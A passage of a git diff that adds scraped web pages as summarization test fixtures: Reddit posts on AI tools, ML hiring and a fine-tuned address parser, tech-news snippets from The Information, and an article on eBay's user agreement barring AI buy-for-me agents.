Reddit Expand user menu Open settings menu Go to LLM r/LLM • jdawg2216 Using AI For Product mockups For context, I sell products online. Does anyone use AI for their product mock ups and listing images? If so, what do you use? Is there a way to create a Gemini gem or GPT to generate mock ups in bulk? Any advice would be appreciated, thanks y’all Read more Share New to Reddit? Create your account and connect with a world of communities. Continue with Email By continuing, you agree to our User Agreement and acknowledge that you understand the Privacy Policy. Public Anyone can view, post, and comment to this community 0 0 Reddit Rules Privacy Policy User Agreement Accessibility Reddit, Inc. © 2026. All rights reserved. Expand Navigation Collapse Navigation +============== diff --git a/tests/summarization/https___www.reddit.com_r_MachineLearning_comments_1qj3t98_d_do_you_feel_like_companies_are_scooping_abusing_.txt b/tests/summarization/https___www.reddit.com_r_MachineLearning_comments_1qj3t98_d_do_you_feel_like_companies_are_scooping_abusing_.txt new file mode 100644 index 0000000..887e17f --- /dev/null +++ b/tests/summarization/https___www.reddit.com_r_MachineLearning_comments_1qj3t98_d_do_you_feel_like_companies_are_scooping_abusing_.txt @@ -0,0 +1,2 @@ +Skip to main content Open menu Open navigation Go to Reddit Home r/MachineLearning Get App Get the Reddit app Log In Log in to Reddit Expand user menu Open settings menu Go to MachineLearning r/MachineLearning • quasiproductive [D] Do you feel like companies are scooping / abusing researchers for ideas during hiring for researcher roles? After having gone through at least 3 rounds where I had to present research solutions for problems, I get the feeling that I'm doing free labour for these guys. They usually give you a week and given the current glut of candidates, it feels like this could easily be happening in the background. This includes Mid tech companies (not FAANG) and startups. Is there some truth to this suspicion? For the most recent one, I purposefully chose not to dive into the advanced literature heavy stuff even though I did do the work. The scope of the task was pretty vague ("design an ML system blah blah") and as soon as I started my presentation, one of my interviewers immediately questioned me about whether I had read the literature and wasn't interested in older approaches to the same problem. The rest of the interview was spent getting grilled, as is usual. My motivation was to work bottom up and demonstrate strong fundamentals. Perhaps, I'm missing something here Read more Share New to Reddit? Create your account and connect with a world of communities. Continue with Email By continuing, you agree to our User Agreement and acknowledge that you understand the Privacy Policy. Public Anyone can view, post, and comment to this community 0 0 Reddit Rules Privacy Policy User Agreement Accessibility Reddit, Inc. © 2026. All rights reserved. Expand Navigation Collapse Navigation +============== diff --git a/tests/summarization/https___www.reddit.com_r_MachineLearning_comments_1qjmqy8_d_which_data_design_patterns_have_held_up_for_you_.txt b/tests/summarization/https___www.reddit.com_r_MachineLearning_comments_1qjmqy8_d_which_data_design_patterns_have_held_up_for_you_.txt new file mode 100644 index 0000000..bac6c1c --- /dev/null +++ b/tests/summarization/https___www.reddit.com_r_MachineLearning_comments_1qjmqy8_d_which_data_design_patterns_have_held_up_for_you_.txt @@ -0,0 +1,2 @@ +Skip to main content Open menu Open navigation Go to Reddit Home r/MachineLearning Get App Get the Reddit app Log In Log in to Reddit Expand user menu Open settings menu Go to MachineLearning r/MachineLearning • Aggravating_Map_2493 [D] Which data design patterns have held up for you in production? I came across this article on data design patterns and found it grounded in real system behavior rather than tools. It walks through patterns that show up when supporting ML and AI workloads at scale. After reading this , I was curious to hear from others here: which patterns you rely on most, which ones failed under scale and patterns you think are overused. I am keen on hearing more about failures and lessons learned than success stories from people who have been there and done that. Read more Share New to Reddit? Create your account and connect with a world of communities. Continue with Email By continuing, you agree to our User Agreement and acknowledge that you understand the Privacy Policy. Public Anyone can view, post, and comment to this community 0 0 Reddit Rules Privacy Policy User Agreement Accessibility Reddit, Inc. © 2026. All rights reserved. Expand Navigation Collapse Navigation +============== diff --git a/tests/summarization/https___www.reddit.com_r_datasets_comments_1qjiok5_i_finetuned_llama_32_1b_brazilian_address_parser_.txt b/tests/summarization/https___www.reddit.com_r_datasets_comments_1qjiok5_i_finetuned_llama_32_1b_brazilian_address_parser_.txt new file mode 100644 index 0000000..2a4dba4 --- /dev/null +++ b/tests/summarization/https___www.reddit.com_r_datasets_comments_1qjiok5_i_finetuned_llama_32_1b_brazilian_address_parser_.txt @@ -0,0 +1,59 @@ +Skip to main content Open menu Open navigation Go to Reddit Home r/datasets Get App Get the Reddit app Log In Log in to Reddit Expand user menu Open settings menu Go to datasets r/datasets • Hour-Dirt-8505 I fine-tuned LLaMA 3.2 1B Brazilian Address Parser — looking for honest feedback Recently, I posted here on Reddit asking for ideas on what I could build with a dataset of ~2 million pairs of messy/clean Brazilian addresses. A few kind folks shared some great suggestions, and one idea that really stood out was building an address parser. That pushed me into the world of LLM fine-tuning for the first time. I decided to partially fine-tune LLaMA 3.2 1B, focusing specifically on address normalization and field extraction (address, complement, neighborhood, city, state, country, coordinates, etc.). Surprisingly, the early results look quite promising. To properly evaluate it, I also built a small API to: Run inference tests Perform post-inference validation Compute a confidence score based on consistency checks (postal code, city/state match, field presence, etc.) Below is an example request body and the corresponding response. Request { + "inputs": [ + "quadra -42.93386179 quadra arse 102 alameda 12 a, 5045 77023-582 brasil -21.26567258 palmas", + "torre -43.02525939 bela vista 5 brasil minas gerais são joão do paraíso beco do pôr do sol, 4289 -19.14142529" + ] +} Response [ + { + "address": "Quadra Arse 102 Alameda 12 A, 5045", + "complement": "quadra", + "city": "Palmas", + "country": "Brasil", + "postal_code": "77023-582", + "latitude": "-21.26567258", + "longitude": "-42.93386179", + "confidence": 1.0, + "validation": { + "postal_code_validation": { + "is_valid": true, + "found_in_input": true, + "city_match": true + }, + "field_validation": { + "address_found": true, + "complement_found": true, + "neighborhood_found": false, + "city_found": true, + "state_found": false, + "country_found": true + } + } + }, + { + "address": "Beco Do Pôr Do Sol, 4289", + "complement": "torre", + "neighborhood": "Bela Vista 5", + "city": "São João Do Paraíso", + "state": "Minas Gerais", + "country": "Brasil", + "latitude": "-19.14142529", + "longitude": "-43.02525939", + "confidence": 0.92, + "validation": { + "postal_code_validation": { + "is_valid": false + }, + "field_validation": { + "address_found": true, + "complement_found": true, + "neighborhood_found": true, + "city_found": true, + "state_found": true, + "country_found": true, + "city_in_state": false, + "neighborhood_in_city": false + } + } + } +] I’d really appreciate honest feedback from people more experienced with: Fine-tuning small LLMs Address parsing / entity extraction Post-inference validation strategies Confidence scoring approaches Does this look like a reasonable direction for a 1B model? Anything you’d improve architecturally or evaluation-wise? Thanks in advance — this project has been a great learning experience so far 🙏 Read more Share New to Reddit? Create your account and connect with a world of communities. Continue with Email By continuing, you agree to our User Agreement and acknowledge that you understand the Privacy Policy. Public Anyone can view, post, and comment to this community 0 0 Reddit Rules Privacy Policy User Agreement Accessibility Reddit, Inc. © 2026. All rights reserved. Expand Navigation Collapse Navigation +============== diff --git a/tests/summarization/https___www.reddit.com_r_datasets_comments_1qjmvso_how_to_get_dfdc_dataset_access_is_the_website_.txt b/tests/summarization/https___www.reddit.com_r_datasets_comments_1qjmvso_how_to_get_dfdc_dataset_access_is_the_website_.txt new file mode 100644 index 0000000..5f70be7 --- /dev/null +++ b/tests/summarization/https___www.reddit.com_r_datasets_comments_1qjmvso_how_to_get_dfdc_dataset_access_is_the_website_.txt @@ -0,0 +1,2 @@ +Skip to main content Open menu Open navigation Go to Reddit Home r/datasets Get App Get the Reddit app Log In Log in to Reddit Expand user menu Open settings menu Go to datasets r/datasets • Ok_Concert6723 How to get DFDC Dataset Access ?? Is the website working??? Was working on a deepfake research paper and was trying to get access to DFDC dataset but for some reason the dfdc official website ain't working, is it because I didnt acquire access to it ??? Is there any other way I can get hands on the dataset??? Read more Share New to Reddit? Create your account and connect with a world of communities. Continue with Email By continuing, you agree to our User Agreement and acknowledge that you understand the Privacy Policy. Public Anyone can view, post, and comment to this community 0 0 Reddit Rules Privacy Policy User Agreement Accessibility Reddit, Inc. © 2026. All rights reserved. Expand Navigation Collapse Navigation +============== diff --git a/tests/summarization/https___www.reddit.com_r_ollama_comments_1qjtnqm_how_to_implement_a_rag_retrieval_augmented_.txt b/tests/summarization/https___www.reddit.com_r_ollama_comments_1qjtnqm_how_to_implement_a_rag_retrieval_augmented_.txt new file mode 100644 index 0000000..8b04d36 --- /dev/null +++ b/tests/summarization/https___www.reddit.com_r_ollama_comments_1qjtnqm_how_to_implement_a_rag_retrieval_augmented_.txt @@ -0,0 +1,2 @@ +Skip to main content Open menu Open navigation Go to Reddit Home r/ollama Get App Get the Reddit app Log In Log in to Reddit Expand user menu Open settings menu Go to ollama r/ollama • Unique_Winner_5927 FrançaisPortuguês (Brasil)Deutsch How to implement a RAG (Retrieval Augmented Generation) on your laptop This guide explains how to implement a RAG (Retrieval Augmented Generation) on your laptop. With n8n, Ollama and Qdrant (with Docker). https://github.com/ThomasPlantain/n8n I put a lot of screenshots to explain how to configure each component. #Ollama #n8n #Qdrant #dataSovereignty #embeddedAI Read more Share New to Reddit? Create your account and connect with a world of communities. Continue with Email By continuing, you agree to our User Agreement and acknowledge that you understand the Privacy Policy. Public Anyone can view, post, and comment to this community 0 0 Reddit Rules Privacy Policy User Agreement Accessibility Reddit, Inc. © 2026. All rights reserved. Expand Navigation Collapse Navigation +============== diff --git a/tests/summarization/https___www.reddit.com_r_ollama_comments_1qjtqyr_what_do_you_guys_test_llms_in_cicd_.txt b/tests/summarization/https___www.reddit.com_r_ollama_comments_1qjtqyr_what_do_you_guys_test_llms_in_cicd_.txt new file mode 100644 index 0000000..cf75ce9 --- /dev/null +++ b/tests/summarization/https___www.reddit.com_r_ollama_comments_1qjtqyr_what_do_you_guys_test_llms_in_cicd_.txt @@ -0,0 +1,2 @@ +Skip to main content Open menu Open navigation Go to Reddit Home r/ollama Get App Get the Reddit app Log In Log in to Reddit Expand user menu Open settings menu Go to ollama r/ollama • Ok_Constant_9886 हिन्दीEspañol (Latinoamérica) What do you guys test LLMs in CI/CD? r/AIEval • What do you guys test LLMs in CI/CD? Something that our team is thinking about is how to test LLMs (apps, not just foundational models) in CI envs like GitHub Actions. In one standpoint, there's the concept of testing for functionality, while on the other hand there is the concept of testing for responsible AI such as bias and toxicity. Unlike traditional unit testing, tests for LLMs seem to be more scattered, with criteria that are not clearly defined (due to non-deterministically). The approaches we're doing right now includes separating tests by: Functionality: Test files and directories on whether APIs to our LLM app returns correctly Responsibility: Test files that tackle responsible AI - our app is user facing so it must comply with local regulations in our region Performance: Test latency, tokens per second, cost, deterministic metrics Specific business criteria: Custom LLM-as-a-judge criteria that is more subjective but gives us a good idea of how things are performing. We also found open-source tools like deepeval useful since it integrates with Pytest for CI, and offers the breadth of LLM-as-a-judge metrics we need. Curious how other people are doing it? Read more upvotes Share New to Reddit? Create your account and connect with a world of communities. Continue with Email By continuing, you agree to our User Agreement and acknowledge that you understand the Privacy Policy. Public Anyone can view, post, and comment to this community 0 0 Reddit Rules Privacy Policy User Agreement Accessibility Reddit, Inc. © 2026. All rights reserved. Expand Navigation Collapse Navigation +============== diff --git a/tests/summarization/https___www.reddit.com_r_technology_comments_1qjh5o1_president_fcc_threatens_to_enforce_equaltime_rule_.txt b/tests/summarization/https___www.reddit.com_r_technology_comments_1qjh5o1_president_fcc_threatens_to_enforce_equaltime_rule_.txt new file mode 100644 index 0000000..70e8a70 --- /dev/null +++ b/tests/summarization/https___www.reddit.com_r_technology_comments_1qjh5o1_president_fcc_threatens_to_enforce_equaltime_rule_.txt @@ -0,0 +1,2 @@ +Skip to main content Open menu Open navigation Go to Reddit Home r/technology Get App Get the Reddit app Log In Log in to Reddit Expand user menu Open settings menu Go to technology r/technology • ControlCAD Português (Brasil)Françaisहिन्दीFilipinoEspañol (Latinoamérica) President FCC threatens to enforce equal-time rule on late-night talk shows | FCC disputes long-standing view that the shows are exempt from equal-time rule. arstechnica.com Open Share New to Reddit? Create your account and connect with a world of communities. Continue with Email By continuing, you agree to our User Agreement and acknowledge that you understand the Privacy Policy. Public Anyone can view, post, and comment to this community 0 0 Reddit Rules Privacy Policy User Agreement Accessibility Reddit, Inc. © 2026. All rights reserved. Expand Navigation Collapse Navigation +============== diff --git a/tests/summarization/https___www.reddit.com_r_technology_comments_1qji6cy_job_applicants_sue_to_open_black_box_of_ai_hiring_.txt b/tests/summarization/https___www.reddit.com_r_technology_comments_1qji6cy_job_applicants_sue_to_open_black_box_of_ai_hiring_.txt new file mode 100644 index 0000000..a50f8b0 --- /dev/null +++ b/tests/summarization/https___www.reddit.com_r_technology_comments_1qji6cy_job_applicants_sue_to_open_black_box_of_ai_hiring_.txt @@ -0,0 +1,2 @@ +Skip to main content Open menu Open navigation Go to Reddit Home r/technology Get App Get the Reddit app Log In Log in to Reddit Expand user menu Open settings menu Go to technology r/technology • Majano57 Job Applicants Sue to Open ‘Black Box’ of A.I. Hiring Decisions nytimes.com Open Share New to Reddit? Create your account and connect with a world of communities. Continue with Email By continuing, you agree to our User Agreement and acknowledge that you understand the Privacy Policy. Public Anyone can view, post, and comment to this community 0 0 Reddit Rules Privacy Policy User Agreement Accessibility Reddit, Inc. © 2026. All rights reserved. Expand Navigation Collapse Navigation +============== diff --git a/tests/summarization/https___www.theinformation.com_articles_ai-ad-tech-land-grab-pits-salesforce-google-microsoft-amazon.txt b/tests/summarization/https___www.theinformation.com_articles_ai-ad-tech-land-grab-pits-salesforce-google-microsoft-amazon.txt new file mode 100644 index 0000000..91f92bd --- /dev/null +++ b/tests/summarization/https___www.theinformation.com_articles_ai-ad-tech-land-grab-pits-salesforce-google-microsoft-amazon.txt @@ -0,0 +1,2 @@ +Exclusive: The Race to Rent Out Nvidia Chips in the Cloud IntensifiesSave 25% and learn more Sign inSubscribe Pro menu Data Tools About Pro The Next GPs 2025 The Rising Stars of AI Research Leaders of the AI Shopping Revolution Enterprise Software Startup Takeover List Org Charts Sports Tech Owners Database The Information 50 2024 Generative AI Takeover List Generative AI Database AI Chip Database AI Data Center Database Cloud Database Creator Economy Database Creator Startup Takeover List Tech IPO Tracker Tech Sentiment Tracker Sports Rights Database Tesla Diaspora Database Gigafactory Database Pro Newsletter Special Projects The Information 50 Database VC Diversity Index Enterprise Tech Powerlist Kids and Technology Survey Org Charts Tech Finance Weekend Events TITV Community menu Directory Search, find and engage with others who are serious about tech and business. Forum Follow and be a part of discussions about tech, finance and media. More menu Brand Partnerships Premium advertising opportunities for brands Group Subscriptions Team access to our exclusive tech news Newsletters Journalists who break and shape the news, in your inbox Video Catch up on conversations with global leaders in tech, media and finance Partner Content Explore our recent partner collaborations X Facebook LinkedIn Threads Instagram Help & Support RSS Feed Careers Sign in Pro About Pro The Next GPs 2025 The Rising Stars of AI Research Leaders of the AI Shopping Revolution Enterprise Software Startup Takeover List Org Charts Sports Tech Owners Database The Information 50 2024 Generative AI Takeover List Generative AI Database AI Chip Database AI Data Center Database Cloud Database Creator Economy Database Creator Startup Takeover List Tech IPO Tracker Tech Sentiment Tracker Sports Rights Database Tesla Diaspora Database Gigafactory Database Pro Newsletter SPECIAL PROJECTS The Information 50 Database VC Diversity Index Enterprise Tech Powerlist Kids and Technology Survey Deep Research TITV Tech Finance Weekend Events Newsletters Community Directory Search, find and engage with others who are serious about tech and business. Forum Follow and be a part of discussions about tech, finance and media. More Brand Partnerships Premium advertising opportunities for brands Group Subscriptions Team access to our exclusive tech news Newsletters Journalists who break and shape the news, in your inbox Video Catch up on conversations with global leaders in tech, media and finance Partner Content Explore our recent partner collaborations Subscribe Sign in Search Opinion Venture Capital Artificial Intelligence Startups Market Research X Facebook LinkedIn Threads Instagram Help & Support RSS Feed Careers Tech driven.Hub for tech giants. Learn more Featured Partner AI Ad Tech ‘Land Grab’ Pits Salesforce Against Google, Microsoft and Amazon By Catherine Perloff Subscribe to unlock +============== diff --git a/tests/summarization/https___www.theinformation.com_articles_borrowed-money-fueled-cryptos-700-billion-sell.txt b/tests/summarization/https___www.theinformation.com_articles_borrowed-money-fueled-cryptos-700-billion-sell.txt new file mode 100644 index 0000000..ec816d2 --- /dev/null +++ b/tests/summarization/https___www.theinformation.com_articles_borrowed-money-fueled-cryptos-700-billion-sell.txt @@ -0,0 +1,4 @@ +

The flash crash that rumbled across the crypto market on Friday can be traced to an unusual token that aims to track the dollar, a fast-growing exchange that allows investors to borrow heavily and speculative tokens that traders buy using debt.

+ +

That combustible mix of borrowed money was ignited Friday by President Donald Trump’s announcement of new tariffs on China. Stocks sold off modestly but crypto crashed, at least for a short period.

+============== diff --git a/tests/summarization/https___www.theinformation.com_articles_openai-working-softbanks-arm-broadcom-ai-chip-effort.txt b/tests/summarization/https___www.theinformation.com_articles_openai-working-softbanks-arm-broadcom-ai-chip-effort.txt new file mode 100644 index 0000000..1a46b74 --- /dev/null +++ b/tests/summarization/https___www.theinformation.com_articles_openai-working-softbanks-arm-broadcom-ai-chip-effort.txt @@ -0,0 +1,4 @@ +

OpenAI’s development of its own artificial intelligence chip could end up benefiting SoftBank, one of its biggest shareholders, which is also helping the ChatGPT maker develop and finance its ambitious data center plan.

+ +

OpenAI is talking with SoftBank’s Arm subsidiary about using an Arm-designed central processing unit with OpenAI’s AI server chip, according to three people close to Arm. OpenAI is co-designing its AI chip with Broadcom, and Arm hopes OpenAI will also use the CPU with other AI chips from Nvidia and AMD, one of these people said.

+============== diff --git a/tests/summarization/https___www.theinformation.com_articles_robots-beat-optimus-space.txt b/tests/summarization/https___www.theinformation.com_articles_robots-beat-optimus-space.txt new file mode 100644 index 0000000..a8ba972 --- /dev/null +++ b/tests/summarization/https___www.theinformation.com_articles_robots-beat-optimus-space.txt @@ -0,0 +1,2 @@ +

Before we get to our column, we should acknowledge OpenAI’s latest chip deal, this time with Broadcom, announced Monday morning. The Information first reported the two companies were in talks in July of last year but a lot has happened since then. Most obviously, OpenAI has also struck deals for supplies of AI chips with both Nvidia and AMD. We’ll write about the implications on this in the days and weeks to come…

Last week, my colleague Theo reported on the setbacks afflicting Tesla’s Optimus robots. Designing a humanoid robot involves some thorny engineering problems, especially when it comes to their five-fingered hands. Those issues could delay Elon Musk’s plans for Optimus to walk on Mars next year. Making matters worse, the robot has been designed for indoor use on Earth, where temperatures are much warmer and the air is less dusty.

But other robot-makers are also targeting space, and since they’re not wed to the humanoid form factor, they could potentially get there before Tesla.

For example, four-year-old startup Inversion recently announced Arc, its flagship delivery vehicle, which is sort of like a self-driving space Waymo. Arc is designed to drop off a trunk's worth of materials, starting with military supplies, to any place on Earth in an hour by traveling through orbit, which is faster than flying cargo on a plane through the atmosphere. Inversion already flew an earlier prototype this year on SpaceX’s Transporter-12 ride share mission, and aims to send Arc to space next year.

+============== diff --git a/tests/summarization/https___www.theinformation.com_briefings_apple-rebrands-streaming-service-apple-tv.txt b/tests/summarization/https___www.theinformation.com_briefings_apple-rebrands-streaming-service-apple-tv.txt new file mode 100644 index 0000000..bb18081 --- /dev/null +++ b/tests/summarization/https___www.theinformation.com_briefings_apple-rebrands-streaming-service-apple-tv.txt @@ -0,0 +1,2 @@ +Exclusive: The Race to Rent Out Nvidia Chips in the Cloud IntensifiesSave 25% and learn more Sign inSubscribe Pro menu Data Tools About Pro The Next GPs 2025 The Rising Stars of AI Research Leaders of the AI Shopping Revolution Enterprise Software Startup Takeover List Org Charts Sports Tech Owners Database The Information 50 2024 Generative AI Takeover List Generative AI Database AI Chip Database AI Data Center Database Cloud Database Creator Economy Database Creator Startup Takeover List Tech IPO Tracker Tech Sentiment Tracker Sports Rights Database Tesla Diaspora Database Gigafactory Database Pro Newsletter Special Projects The Information 50 Database VC Diversity Index Enterprise Tech Powerlist Kids and Technology Survey Org Charts Tech Finance Weekend Events TITV Community menu Directory Search, find and engage with others who are serious about tech and business. Forum Follow and be a part of discussions about tech, finance and media. More menu Brand Partnerships Premium advertising opportunities for brands Group Subscriptions Team access to our exclusive tech news Newsletters Journalists who break and shape the news, in your inbox Video Catch up on conversations with global leaders in tech, media and finance Partner Content Explore our recent partner collaborations X Facebook LinkedIn Threads Instagram Help & Support RSS Feed Careers Sign in Pro About Pro The Next GPs 2025 The Rising Stars of AI Research Leaders of the AI Shopping Revolution Enterprise Software Startup Takeover List Org Charts Sports Tech Owners Database The Information 50 2024 Generative AI Takeover List Generative AI Database AI Chip Database AI Data Center Database Cloud Database Creator Economy Database Creator Startup Takeover List Tech IPO Tracker Tech Sentiment Tracker Sports Rights Database Tesla Diaspora Database Gigafactory Database Pro Newsletter SPECIAL PROJECTS The Information 50 Database VC Diversity Index Enterprise Tech Powerlist Kids and Technology Survey Deep Research TITV Tech Finance Weekend Events Newsletters Community Directory Search, find and engage with others who are serious about tech and business. Forum Follow and be a part of discussions about tech, finance and media. More Brand Partnerships Premium advertising opportunities for brands Group Subscriptions Team access to our exclusive tech news Newsletters Journalists who break and shape the news, in your inbox Video Catch up on conversations with global leaders in tech, media and finance Partner Content Explore our recent partner collaborations Subscribe Sign in Search Opinion Venture Capital Artificial Intelligence Startups Market Research X Facebook LinkedIn Threads Instagram Help & Support RSS Feed Careers Answer tough business questions, faster than ever. Ask Read this briefing for free Briefing Apple Rebrands Streaming Service to Apple TV By Aaron Tilley Continued reading Apple is Losing Over $1 Billion a Year on Streaming Service Get full access, explore exclusive reporting. Read now Continue with Google or Apple Download the App +============== diff --git a/tests/summarization/https___www.theinformation.com_briefings_china-vows-retaliate-trump-imposes-new-100-tariff.txt b/tests/summarization/https___www.theinformation.com_briefings_china-vows-retaliate-trump-imposes-new-100-tariff.txt new file mode 100644 index 0000000..105e230 --- /dev/null +++ b/tests/summarization/https___www.theinformation.com_briefings_china-vows-retaliate-trump-imposes-new-100-tariff.txt @@ -0,0 +1,2 @@ +

China’s commerce ministry said the company will retaliate if President Donald Trump makes good on his threat to impose an additional 100% tariff on Chinese imports.

“China’s position on the tariff war is consistent. We don’t want to fight, but we are not afraid to fight,” a commerce ministry ...

+============== diff --git a/tests/summarization/https___www.theinformation.com_briefings_data-startups-fivetran-dbt-labs-announced-merger.txt b/tests/summarization/https___www.theinformation.com_briefings_data-startups-fivetran-dbt-labs-announced-merger.txt new file mode 100644 index 0000000..1526dfa --- /dev/null +++ b/tests/summarization/https___www.theinformation.com_briefings_data-startups-fivetran-dbt-labs-announced-merger.txt @@ -0,0 +1,2 @@ +

Data startup Fivetran will merge with data management company dbt Labs in an all-stock deal, the companies announced Monday, confirming an earlier report by The Information.

Fivetran CEO George Fraser will lead the combined company and dbt Labs CEO Tristan Handy will become president and ...

+============== diff --git a/tests/summarization/https___www.theinformation.com_briefings_jpmorgan-commits-10-billion-strategic-tech-investments.txt b/tests/summarization/https___www.theinformation.com_briefings_jpmorgan-commits-10-billion-strategic-tech-investments.txt new file mode 100644 index 0000000..37f8127 --- /dev/null +++ b/tests/summarization/https___www.theinformation.com_briefings_jpmorgan-commits-10-billion-strategic-tech-investments.txt @@ -0,0 +1,2 @@ +Exclusive: The Race to Rent Out Nvidia Chips in the Cloud IntensifiesSave 25% and learn more Sign inSubscribe Pro menu Data Tools About Pro The Next GPs 2025 The Rising Stars of AI Research Leaders of the AI Shopping Revolution Enterprise Software Startup Takeover List Org Charts Sports Tech Owners Database The Information 50 2024 Generative AI Takeover List Generative AI Database AI Chip Database AI Data Center Database Cloud Database Creator Economy Database Creator Startup Takeover List Tech IPO Tracker Tech Sentiment Tracker Sports Rights Database Tesla Diaspora Database Gigafactory Database Pro Newsletter Special Projects The Information 50 Database VC Diversity Index Enterprise Tech Powerlist Kids and Technology Survey Org Charts Tech Finance Weekend Events TITV Community menu Directory Search, find and engage with others who are serious about tech and business. Forum Follow and be a part of discussions about tech, finance and media. More menu Brand Partnerships Premium advertising opportunities for brands Group Subscriptions Team access to our exclusive tech news Newsletters Journalists who break and shape the news, in your inbox Video Catch up on conversations with global leaders in tech, media and finance Partner Content Explore our recent partner collaborations X Facebook LinkedIn Threads Instagram Help & Support RSS Feed Careers Sign in Pro About Pro The Next GPs 2025 The Rising Stars of AI Research Leaders of the AI Shopping Revolution Enterprise Software Startup Takeover List Org Charts Sports Tech Owners Database The Information 50 2024 Generative AI Takeover List Generative AI Database AI Chip Database AI Data Center Database Cloud Database Creator Economy Database Creator Startup Takeover List Tech IPO Tracker Tech Sentiment Tracker Sports Rights Database Tesla Diaspora Database Gigafactory Database Pro Newsletter SPECIAL PROJECTS The Information 50 Database VC Diversity Index Enterprise Tech Powerlist Kids and Technology Survey Deep Research TITV Tech Finance Weekend Events Newsletters Community Directory Search, find and engage with others who are serious about tech and business. Forum Follow and be a part of discussions about tech, finance and media. More Brand Partnerships Premium advertising opportunities for brands Group Subscriptions Team access to our exclusive tech news Newsletters Journalists who break and shape the news, in your inbox Video Catch up on conversations with global leaders in tech, media and finance Partner Content Explore our recent partner collaborations Subscribe Sign in Search Opinion Venture Capital Artificial Intelligence Startups Market Research X Facebook LinkedIn Threads Instagram Help & Support RSS Feed Careers Gain visibility.Ready to elevate your listing? Learn more Featured Partner Read this briefing for free Briefing JPMorgan Commits $10 Billion to Strategic US Tech Investments By Miles Kruppa Get full access, explore exclusive reporting. Read now Continue with Google or Apple Download the App +============== diff --git a/tests/summarization/https___www.theinformation.com_briefings_nvidia-announces-chip-design-deal-broadcom.txt b/tests/summarization/https___www.theinformation.com_briefings_nvidia-announces-chip-design-deal-broadcom.txt new file mode 100644 index 0000000..f4510d4 --- /dev/null +++ b/tests/summarization/https___www.theinformation.com_briefings_nvidia-announces-chip-design-deal-broadcom.txt @@ -0,0 +1,2 @@ +

OpenAI is to design its own AI chips in collaboration with Broadcom, the two companies announced on Monday morning, the latest in a succession of announcements by OpenAI to assure itself of more computing capacity.

The agreement with Broadcom follows deals announced in the past two weeks with ...

+============== diff --git a/tests/summarization/https___www.valueaddedresource.net_ebay-bans-ai-agents-updates-arbitration-user-agreement-feb-2026_.txt b/tests/summarization/https___www.valueaddedresource.net_ebay-bans-ai-agents-updates-arbitration-user-agreement-feb-2026_.txt new file mode 100644 index 0000000..f839c1e --- /dev/null +++ b/tests/summarization/https___www.valueaddedresource.net_ebay-bans-ai-agents-updates-arbitration-user-agreement-feb-2026_.txt @@ -0,0 +1,2 @@ +We use essential cookies to make our site work. With your consent, we may also use non-essential cookies to improve user experience and analyze website traffic. By clicking “Accept,” you agree to our website's cookie use as described in our Cookie Policy. You can change your cookie settings at any time by clicking “Preferences.” Preferences Decline Accept Skip to content 📍 Home ❓About 📰 Archive ✔Support VAR Search Log in Subscribe 🌙 Dark Latest All Ads AI Amazon Earnings eBay eBay Cyberstalking Etsy Legal Mercari News Poshmark TCGPlayer Tech Issues eBay Explicitly Bans AI “Buy For Me” Agents, Updates Arbitration & Dispute Rules In User Agreement Update Liz Morton Published: Jan 21 2026 Updated: Jan 21 2026 Comments Share on Twitter Share on Facebook Share on LinkedIn Share on Pinterest Share via Email Copy link eBay explicitly prohibits AI "buy for me" agents and LLM (larger language model) bots, updates arbitration and dispute resolution requirements in latest User Agreement update, going into effect February 20, 2026. The following summary of changes was provided in an email sent to users: We’ve updated eBay’s User Agreement, including the agreement to arbitrate any disputes you may have with us. Our updated User Agreement was posted on January 20, 2026. For users who agreed to a prior version of our User Agreement, this agreement is effective as of February 20, 2026. In this update, eBay is updating its anti-scraping prohibition to clarify that it specifically also includes bots used for AI or LLMs. eBay is also updating the agreement to arbitrate in the updated User Agreement: We clarified the scope of the class action waiver. We clarified the process for opting out of the agreement to arbitrate. We updated the physical address to which notices for informal dispute resolution, arbitration demands, and notices for opting out of arbitration must be sent. As always, sellers are encouraged to read the entire updated terms carefully, but Value Added Resource has you covered with a side by side comparison highlighting some key changes. Disclaimer: comparisons are made using both automated and manual methods and are provided for informational purposes only - no warranty of completeness or accuracy is expressed or implied and users are advised to do their own due diligence. AI Agents & LLM Scraping First, as the summary calls out, eBay is explicitly prohibiting AI "buy for me" agents and LLM scraping bots from interacting with the platform without permission from eBay. Old Version: In connection with using or accessing our Services you agree to comply with this User Agreement, our policies, our terms, and all applicable laws, rules, and regulations, and you will not... ...use any robot, spider, scraper, data mining tools, data gathering and extraction tools, or other automated means to access our Services for any purpose, except with the prior express permission of eBay; New Version: In connection with using or accessing our Services you agree to comply with this User Agreement, our policies, our terms, and all applicable laws, rules, and regulations, and you will not... use any robot, spider, scraper, data mining tools, data gathering and extraction tools, or other automated means (including, without limitation buy-for-me agents, LLM-driven bots, or any end-to-end flow that attempts to place orders without human review) to access our Services for any purpose, except with the prior express permission of eBay; The move comes after eBay quietly changed their robots.txt file with new guidance placing guardrails and restrictions on how AI agents interact with the site in December. eBay Encourages Buyers & Sellers To Use AI For The Holidays While Quietly Updating AI Agent Policy eBay encourages buyers & sellers to “unwrap innovation” with AI this holiday season, quietly adds guardrails on how AI agents interact with site. Value Added ResourceLiz Morton It also comes on the heels of Amazon's controversial Buy For Me test which uses agentic AI to display items from direct merchant websites for sale through the Amazon app, even if the brand does not sell on Amazon themselves - raising concerns about transparency, consent, and control over how product details are displayed to buyers. Amazon’s “Buy For Me” Agentic AI Sparks Backlash As Small Businesses Say Listings Are Being Hijacked Small businesses say Amazon’s “Buy For Me” agentic AI uses their product data without consent, causing pricing, fulfillment & buyer trust concerns. Value Added ResourceLiz Morton While it appears that Amazon Buy For Me currently does not pull inventory from other third party marketplaces, it would not be surprising if eBay is reacting at least in part to this and other agentic commerce news making recent headlines. Arbitration & Dispute Resolution The rest of the changes in this User Agreement update affect arbitration and dispute resolution. eBay's previous User Agreement update in May 2025 made significant changes to arbitration terms and limits on lawsuits, forcing users to give up their right to the sue the company in many situations. eBay User Agreement Update May 2025: New Arbitration Terms & Limits On Lawsuits eBay has released an update to their user agreement with significant changes to arbitration terms & limits on lawsuits, effective May 16th 2025. Value Added ResourceLiz Morton In this update, eBay has finally updated the address to send arbitration opt out requests and other legal correspondence to since selling their former office in Draper, UT in 2024. Old Version: Notice to eBay should be sent by email to DisputeNotice@eBay.com or regular mail to our offices located at 583 W. eBay Way, Draper, UT 84020. New Version: Notice to eBay should be sent by email to DisputeNotice@eBay.com or regular mail to our offices located at 339 W. 13490 S., Ste. 500, Draper, UT 84020 Most importantly, eBay has expanded their arbitration clause which previously prohibited class actions to now also explicitly exclude more types of group legal actions. Old Version: EACH OF US MAY BRING CLAIMS 